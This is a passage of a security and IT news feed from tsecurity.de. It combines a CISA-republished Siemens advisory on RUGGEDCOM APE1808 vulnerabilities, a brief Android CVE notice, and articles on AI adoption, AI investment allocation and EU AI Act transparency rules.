<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/862.html">CWE-862 Missing Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-0273</a></h3>
<div class="csaf-accordion-content">
<p>A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-0273">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM APE1808 with Palo Alto Networks Virtual NGFW</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Contact customer support to receive patch and update information</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-104023 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-104023 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Atlassian: Why AI speeds up employees but not organizations]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683692/it-nachrichten/atlassian-why-ai-speeds-up-employees-but-not-organizations/</guid>
<pubDate>Tue, 21 Jul 2026 14:33:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[CVE-2025-48651 | Google Android privilege escalation]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Google Android. This affects an unknown function. The manipulation results in privilege escalation.

This vulnerability was named CVE-2025-48651. The attack needs to be approached within the local network. There is no available exploit.

It...]]></description>
<link>https://tsecurity.de/de/3682546/sicherheitsluecken/cve-2025-48651-google-android-privilege-escalation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682546/sicherheitsluecken/cve-2025-48651-google-android-privilege-escalation/</guid>
<pubDate>Tue, 21 Jul 2026 04:25:07 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/google:android">Google Android</a>. This affects an unknown function. The manipulation results in privilege escalation.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2025-48651">CVE-2025-48651</a>. The attack needs to be approached within the local network. There is no available exploit.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 04:02:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



